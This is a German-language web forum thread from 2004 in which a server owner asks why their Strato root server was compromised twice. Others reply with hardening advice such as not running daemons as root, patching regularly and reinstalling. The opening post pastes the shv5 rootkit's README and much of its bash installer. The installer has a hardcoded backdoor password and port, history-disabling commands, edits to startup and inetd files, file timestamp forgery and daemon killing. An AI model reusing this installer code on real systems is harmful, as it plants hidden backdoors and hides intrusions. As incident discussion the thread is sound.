|
|
|
|
|
|
|
Rootkit auf meinem Server!
Hi!
Wir haben nen Server bei Strato gemietet! ABer schon 2 mal wurde der verootkittet. Mit dem shv5 er. Um es zu installed braucht man aber rootrechte wie ich schon rausgefunden habe. Es beendet sämtliche Systemdienste ersetzt sie durch fakes die das net machen was sie sollen (es bloss anzeigen) und tut die ip des Servers auf 127.0.0.2 ändern, sodass er von außen auch nimmer zu erreichen ist. Da ich ja ne serielle Konsole hab konnte ich noch druff, was mir aber nicht sehr viel bringt. Also habe ich jetzt schon 2 mal formatiert!! und alles neu gemacht. Aktuelle Patches hatte ich eigentlich alle drauf, auch die von Strato empfohlenen. Das einzige was läuft auf dem server ist ein Csserver der unter root ausgeführt wurde (jetzt nichtmehr). Was denkt ihr könnte der Angriffspunkt sein? kann man über nen Csserver Code ausführen? also das Shellscript zum installieren? Und files hatten sie ja auch hochgeladen. In das Verzeichnis des Servers. eine mut.tgz. Unten stehend mal die README und die setup datei:
PHP-Code:
############
### shv5 ###
############
MMMMMMM MMMMMMMMMMMMMMM
MMMMMMM MMMMMMMMMMMMMMM
MMMMMMM MMMMMMMMMMMMMMM
MMMMMMM MMMMMMMMMMMMMMM
MMMMMMM MMMMMM
MMMMMM MMMMMMMMMMMMMMMM MMMMMMM MMMMMMM MMMMMM
MMMMMMMM MMMMMMMMMMMMMMMMM MMMMMMM MMMMMMM MMMMMMMMMMMM
MMMMMMMMM MMMMMMMMMMMMMMMMMM MMMMMMM MMMMMMM MMMMMMMMMMMMMM
MMMMMMMMMM MMMMMMMMMMMMMMMMMM MMMMMMM MMMMMMM MMMMMMMMMM
MMMMMMM MMMMMMM MMMMMMM MMMMMMM MMMMMMM MMMMMMMM
MMMMMMM MMMMMMM MMMMMMM MMMMMM MMMMMM MMMMMMMM
MMMMMMM MMMMMMM MMMMMMM MMMMMMM MMMMMMM MMMMMMMM
MMMMMMMMMM MMMMMMM MMMMMMM MMMMMMMMMMMMMM MMM MMMMMMMM
MMMMMMMMMMM MMMMMMM MMMMMMM MMMMMMMMMMMMM MMMMMMMMMMMMMMMM
MMMMMMMMMMM MMMMMMM MMMMMMM MMMMMMMMMMM MMMMMMMMMMMMMMM
MMMMMMMMMM MMMMMMM MMMMMMM MMMMMMMMM MMMMMMMMMMMMM
MMMMMMMM MMMMMMM MMMMMMM MMMMM MMMMMMM
DISCLAIMER:
* The purpose of these coded instructions, statements and computer
* programs is for TEST AIMS ONLY !
* Their use/misuse is at USERS OWN RISK !
* We do not take any responsibility for any harm or damage caused
* by the use of this file-package.
* This includes copying, duplicating or modifying it in any form !
* USERS WHO USE THIS CODED INSTRUCTIONS, STATEMENTS AND COMPUTER
* PROGRAMS MUST ACCEPT ALL ABOVE STATEMENTS !
* OTHERWISE U ARE OBLIGED TO DELETE THESE FILES IMEDIATELY !
CHANGES [shv5]:
-> - new sshd backdor with env-settings (avoids history logging)
- The new sshd is in between 1.2.25-2.0.13 SSHD (from ssh.com)
- not so big and with new great features designed to suite shv5.
-> new rk-dirs coz of lamme anti-shv4 release
-> new security-checks on the script
- latest flaws included (mod_ssl, samba, sendmail etc..)
-> setup-script rewriten to become more soft (friendly)
-> added new addons (tripwire, snort ... fucker :))
-> added basic utilz on rootkit (i hate dld them on each box)
-> we use md5sum passwords now (more l33t and secure)
USAGE:
-> - If u expect me to tell you how/what/if/when/where type of
- questions delete these files imediately! This is not for you!
TODO:
-> tcpdump trojan
-> crontab trojan
-> sendmail backdoor
-> ftp backdoor
-> httpd backdoor
-> any other idea ?!?!?! < mail: [email]pint@dosnet.info[/email] >
PHP-Code:
#!/bin/bash
#
# shv5-internal-release
# by: PinT[x] April/2003
#
# greetz to:
#
#[*] SH-members: BeSo_M, grass^, toolman, nobody, niceboy, armando99
# C00L|0, GolDenLord, Spike, zion ...
#[*] Alba-Hack : 2Cool, heka, TheMind, ex-THG members ...
#[*] SH-friends: mave, AlexTG, Cat|x, klex, JinkS ...
#[*] tC-members: eksol, termid, hex, keyhook, maher, tripod etc..
#[*] And all others who diserve to be here but i forgot
#[*] them at the moment !
#
# PRIVATE ! DO NOT DISTRIBUTE BITCHEZ !
# BASIC DEFINES
DEFPASS=r0ckw1thSH
DEFPORT=30999
BASEDIR=`pwd`
# DON`T TOUCH BELOW UNLESS YOU KNOW WHAT U`R DOING !
# BEFORE WE MOVE ON LET`s WORK ON SAFE-GROUND !
unset HISTFILE;unset HISTSIZE;unset HISTORY;unset HISTSAVE;unset HISTFILESIZE
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
# RAINBOW COLOURS :)
BLK='[1;30m'
RED='[1;31m'
GRN='[1;32m'
YEL='[1;33m'
BLU='[1;34m'
MAG='[1;35m'
CYN='[1;36m'
WHI='[1;37m'
DRED='[0;31m'
DGRN='[0;32m'
DYEL='[0;33m'
DBLU='[0;34m'
DMAG='[0;35m'
DCYN='[0;36m'
DWHI='[0;37m'
RES='[0m'
# HOPE U`R NO TRYING THIS FROM USER !
# HOWEVER LET`S SEE WHAT KINDA KID U ARE ?
if [ "$(whoami)" != "root" ]; then
echo "${DCYN}[${WHI}sh${DCYN}] ${WHI} BECOME ROOT AND TRY AGAIN ${RES}"
echo ""
exit
fi
# UNZIPING SHITS
tar zxf ./bin.tgz
tar zxf ./conf.tgz
tar zxf ./lib.tgz
tar zxf ./utilz.tgz
cd ./bin; tar zxf ./sshd.tgz
rm -rf ./sshd.tgz
cd $BASEDIR
rm -rf bin.tgz conf.tgz lib.tgz utilz.tgz
sleep 2
#u.s.w. so gehts halt noch weiter der Installer
# GREPPING SHITZ FROM rc.sysinit and inetd.conf
if [ -f /etc/rc.d/rc.sysinit ]; then
chattr -isa /etc/rc.d/rc.sysinit
cat /etc/rc.d/rc.sysinit | grep -v "# Xntps (NTPv3 daemon) startup.."| grep -v "/usr/sbin/xntps"| grep -v "/usr/sbin/nscd" > /tmp/.grep
chmod +x /tmp/.grep
touch -acmr /etc/rc.d/rc.sysinit /tmp/.grep
mv -f /tmp/.grep /etc/rc.d/rc.sysinit
rm -rf /tmp/.grep
fi
if [ -f /etc/inetd.conf ]; then
chattr -isa /etc/inetd.conf
cat /etc/inetd.conf | grep -v "6635"| grep -v "9705" > /tmp/.grep
touch -acmr /etc/inted.conf /tmp/.grep
mv -f /tmp/.grep /etc/inetd.conf
rm -rf /tmp/.grep
fi
# KILLING SOME LAMME DAEMONS
killall -9 -q nscd >/dev/null 2>&1
killall -9 -q xntps >/dev/null 2>&1
killall -9 -q mountd >/dev/null 2>&1
killall -9 -q mserv >/dev/null 2>&1
killall -9 -q psybnc >/dev/null 2>&1
killall -9 -q t0rns >/dev/null 2>&1
killall -9 -q linsniffer >/dev/null 2>&1
killall -9 -q sniffer >/dev/null 2>&1
killall -9 -q lpsched >/dev/null 2>&1
killall -9 -q sniff >/dev/null 2>&1
killall -9 -q sn1f >/dev/null 2>&1
killall -9 -q sshd2 >/dev/null 2>&1
killall -9 -q xsf >/dev/null 2>&1
killall -9 -q xchk >/dev/null 2>&1
killall -9 -q ssh2d >/dev/null 2>&1
echo "${WHI}--------------------------------------------------------------------${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# [System Information...]${RES}"
MYIPADDR=`/sbin/ifconfig eth0 | grep "inet addr:" | awk -F ' ' ' {print $2} ' | cut -c6-`
echo "${DCYN}[${WHI}sh${DCYN}]# Hostname :${WHI} `hostname -f` ($MYIPADDR)${RES}"
uname -a | awk '{ print $11 }' >/tmp/info_tmp
echo "${DCYN}[${WHI}sh${DCYN}]# Arch : ${WHI}`cat /tmp/info_tmp` -+- bogomips : `cat /proc/cpuinfo | grep bogomips | awk ' {print $3}'` '${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# Alternative IP :${WHI} "`hostname -i`" -+- Might be ["`/sbin/ifconfig | grep \eth | wc -l`" ] active adapters.${RES}"
if [ -f /etc/redhat-release ]; then
echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/redhat-release`${RES}"
elif [ -f /etc/slackware-version ]; then
echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/slackware-version`${RES}"
elif [ -f /etc/debian_version ]; then
echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/debian_version`${RES}"
elif [ -f /etc/SuSE-release ]; then
echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/SuSE-release`${RES}"
elif [ -f /etc/issue ]; then
echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} `head -1 /etc/issue`${RES}"
else echo -n "${DCYN}[${WHI}sh${DCYN}]# Distribution:${WHI} unknown${RES}"
fi
rm -rf /tmp/info_tmp
#echo "$1:$2:`hostname -f`:$MYIPADDR" | mail $md5sum
endtime=`date +%S`
total=`expr $endtime - $startime`
echo ""
echo "${WHI}--------------------------------------------------------------------${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# ipchains ... ? ${RES}"
if [ -f /sbin/ipchains ]; then
echo "${WHI}`/sbin/ipchains -L input | head -5`${RES}"
else
echo ""
echo "${DCYN}[${WHI}sh${DCYN}]# lucky for u no ipchains found${RES}"
fi
echo "${WHI}--------------------------------------------------------------------${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# iptables ...?${RES}"
if [ -f /sbin/iptables ]; then
echo "${WHI}`/sbin/iptables -L input | head -5`${RES}"
else
echo ""
echo "${DCYN}[${WHI}sh${DCYN}]# lucky for u no iptables found${RES}"
fi
echo "${WHI}--------------------------------------------------------------------${RES}"
echo "${DCYN}[${WHI}sh${DCYN}]# Just ignore all errors if any ! "
echo "${DCYN}[${WHI}sh${DCYN}]# ============================== ${RED}Backdooring completed in :$total seconds ${RES}"
if [ -f /usr/sbin/syslogd ]; then
/usr/sbin/syslogd -m 0
else
/sbin/syslogd -m 0
fi
if [ -f /usr/sbin/inetd ]; then
killall -HUP inetd >/dev/null 2>&1
elif [ -f /usr/sbin/xinetd ]; then
killall -HUP xinetd
fi
cd $BASEDIR
rm -rf ../shv5*
# EOF
|
12. 01. 2004, 10:39
|
#1
|
|
Retreat
Registrierungsdatum: Aug 2000
Beiträge: 11.530
|
Das lässt sich pauschal so nicht sagen, wie du selbst sagst, brauch man root Rechte für eine erfolgreiche Kompromisation. Was für einen Kernel hast du laufen, welche Daemons laufen normalerweise bei dir (`nmap -v -sS -AO SERVERIP`)? Welche Distribution läuft bei dir?
|
12. 01. 2004, 12:40
|
#2
|
|
|
Also:
System: Suse 8.1
Kernel: keine Ahnung (gglöaub der der da standartmäßig dabei is)
laufende Daemons: alle außer Telnet.
hm das war jetzt nich so genau leider. Aber ich weiß net wie ichs besser nachgucken kann.
|
12. 01. 2004, 12:59
|
#3
|
|
The M.I.P.
Registrierungsdatum: Apr 2002
Ort: 127.0.0.1
Beiträge: 3.715
|
Zitat:
Original geschrieben von Spacefish
Also:
System: Suse 8.1
Kernel: keine Ahnung (gglöaub der der da standartmäßig dabei is)
laufende Daemons: alle außer Telnet.
hm das war jetzt nich so genau leider. Aber ich weiß net wie ichs besser nachgucken kann.
|
Diese mageren Angaben zeigen, dass Du mit der Serveradministration komplett überfordert bist.
Mein Tipp:
Server kündigen, Kofler's Linux - Installation, Konfiguration, Anwendung kaufen und erstmal zu Hause an einem Rechner ohne Verbindung zur Aussenwelt üben.
Weniger radikale Variante:
System säubern. Versiertere User würde z.B. anhand von Backups feststellen, was kompromittiert wurde und das dann wieder herstellen, in Deinem Falle ist wahrscheinlich das Einspielen eines sauberen Systems die bessere Variante.
Nachdem das System sauber ist erstmal alle Dienste (bis auf ssh, wenn Du nicht die serielle Konsole nutzen willst) abschalten.
Nun Softwarepakete und Kernel auf den neuesten Stand bringen. Es empfiehlt sich auch ein Blick auf die diversen Security-Mailinglisten.
Dann Howtos, Manuals und andere Docs zu den Diensten lesen, diese danach sauber konfigurieren und wieder anschalten. Alles, was Du nicht dringend benötigst oder wovon Du keine Ahnung hast, bleibt aus!
Sei auch bei der Auswahl Deiner User vorsichtig - die meisten Server werden von lokalen Useraccounts aus gehackt.
|
12. 01. 2004, 13:22
|
#4
|
|
Mitglied
Registrierungsdatum: Nov 2003
Beiträge: 293
|
Nicht vergessen, neue Passwörter zu verwenden. Die alten sind nämlich nicht mehr sicher, so sie es denn jemals waren.
|
12. 01. 2004, 13:35
|
#5
|
|
Retreat
Registrierungsdatum: Aug 2000
Beiträge: 11.530
|
Naja, die Linux Passwort Datei, ist zuverlässig verschlüsselt. Das Ändern der Passwörter wird zwar nicht schaden, allerdings sind die Einfallstore durch Daemons wesentlich gefährlicher.
Wie mip schon sagte, lokale Shells sind die gefährlichsten Einfallstore (war bei den Debian Servern nicht anders), knapp gefolgt von Daemons, die grundsätzlich mit root Rechten laufen.
|
12. 01. 2004, 13:39
|
#6
|
|
Mitglied
Registrierungsdatum: Nov 2003
Beiträge: 293
|
Zitat:
Original geschrieben von onkelcracker
Naja, die Linux Passwort Datei, ist zuverlässig verschlüsselt. Das Ändern der Passwörter wird zwar nicht schaden, allerdings sind die Einfallstore durch Daemons wesentlich gefährlicher.
|
Natürlich ist shadow verschlüsselt, nur bringt das herzlich wenig, wenn trojanisierte Daemons die Passwörter ausspionieren. Klar ist aber auch, dass das sicherste Passwort nichts bringt, wenn die Dienste offene Scheunentore sind.
|
12. 01. 2004, 13:44
|
#7
|
|
|
Naja soviele Dinge die das Rootkit ersetzt, da lohnte sich ne neuinstallation  . Als einfallstor haben ich den Hlds Server im Verdacht. Also den Counter-Strike Server. Er lief mit root rechten und in dem Verzeichnis lag acuh das rootkit.
|
12. 01. 2004, 13:49
|
#8
|
|
ex-Moderator
Registrierungsdatum: Jun 2000
Ort: /home/vmk
Beiträge: 15.402
|
Zitat:
Original geschrieben von Spacefish
Als einfallstor haben ich den Hlds Server im Verdacht. Also den Counter-Strike Server. Er lief mit root rechten und in dem Verzeichnis lag acuh das rootkit.
|
Selbst schuld, warum gibt du einem daemon root Rechte? Ein Fehler im Daemon und jeder von draussen erlangt root Rechte.
*kopfschüttel*
Einziger Tip: Mach genau das, was mip dir vorschlägt. SuSE 8 ist erstens veraltet (bez. Sicherheit) und SuSE würde niemand auf einen root Server installieren, denn das ist "Selbstmord".
|
12. 01. 2004, 15:07
|
#9
|
|
|
Zitat:
|
und SuSE würde niemand auf einen root Server installieren, denn das ist "Selbstmord".
|
Na dann frag mal Strato! Ich finde RedHat auch besser.
|
12. 01. 2004, 15:24
|
#10
|
|
Leitkulturbanause
Registrierungsdatum: Mar 2001
Ort: ocean of chaos
Beiträge: 4.661
|
Wenn dein Spielzeug Server mit Rootrechten lief würde ich mips ersten Rat zumindestens teilweise mal überdenken. Immer möglichst wenig Rechte geben, und sofern der Port nicht unter 1024 ist sind root Rechte einfach eine dumme Idee. Eigener User für das Ding sollte selbstverständlich sein.
Wenn du die Kernel Version nicht weißt, dann hatte der unter Garantie lokal ausnutzbare Bugs, die dem Bösewicht auch zu root Rechten verholfen hätten, sofern dann noch irgend ein buggy Server bei war.
Und "von Starto empfohlene Patches" heißt was? Alle die auf einer staatischen Seite von Mitte 2003 aufgeführt waren? Täglich oder mindestens einmal die Woche würd ich das dem Server schon gönnen. SuSEs YAST hat dafür auch eine option, aber kA ob 8.0 überhaupt noch von SuSE unterstützt wird. Spätestens wenn ein Exploit rumschwirrt ist es dann aber Glücksache, daß du nicht wieder den nächste Rootkit drauf hast.
Lern es, frag jemand der sich auskennt oder optimiere halt dein Reinstallationsverfahren. Daß du sicher nicht der einzige etwas unbedarfte bei den Strato Root Servern sein wirst hat sich bei den Kiddies bestimmt auch schon rumgesprochen, von daher gucken die da sicher auch in Zukunft mal wieder vobei.
Und sofern du keinen unbegrenzten Traffic hast kann so eine Geschicht auch mal teuer werden, wenn die am Ende deinen Server zum Download oder für sonstigen Traffic nutzen.
Hilft dir zwar jetzt herzlich wenig, aber vllt. dann beim nächsten Mal.
Und daß alle Server deaktivieren nicht vergessen, einfach mal einen portscanner von deiner Kiste daheim gegen deinen Server laufen laßen. Unter "Linux Server sicher machen", oder hardening+linux+server oder so finden sich auch haufenweise Anleitungen bei google.
|
12. 01. 2004, 15:33
|
#11
|
|
|
Also ich habe den Csserver natürlich jetzt unter nem eigenen Benutzer laufen. Updates ziehe ich auch eigentlich regelmäßig über Yast rein. (YOU). Und die Daemons die laufen brauche ich auch eigentlich alle.
|
12. 01. 2004, 16:43
|
#12
|
|
Retreat
Registrierungsdatum: Aug 2000
Beiträge: 11.530
|
Was fragst du denn, wenn du dir nichts sagen lässt?
Du nennst uns ja nicht mal konkret, welche Daemons und Kernel bei dir laufen.
|
12. 01. 2004, 17:05
|
#13
|
|
Alle Zeitangaben in UTC +1. Es ist jetzt 19:02 Uhr.
|
|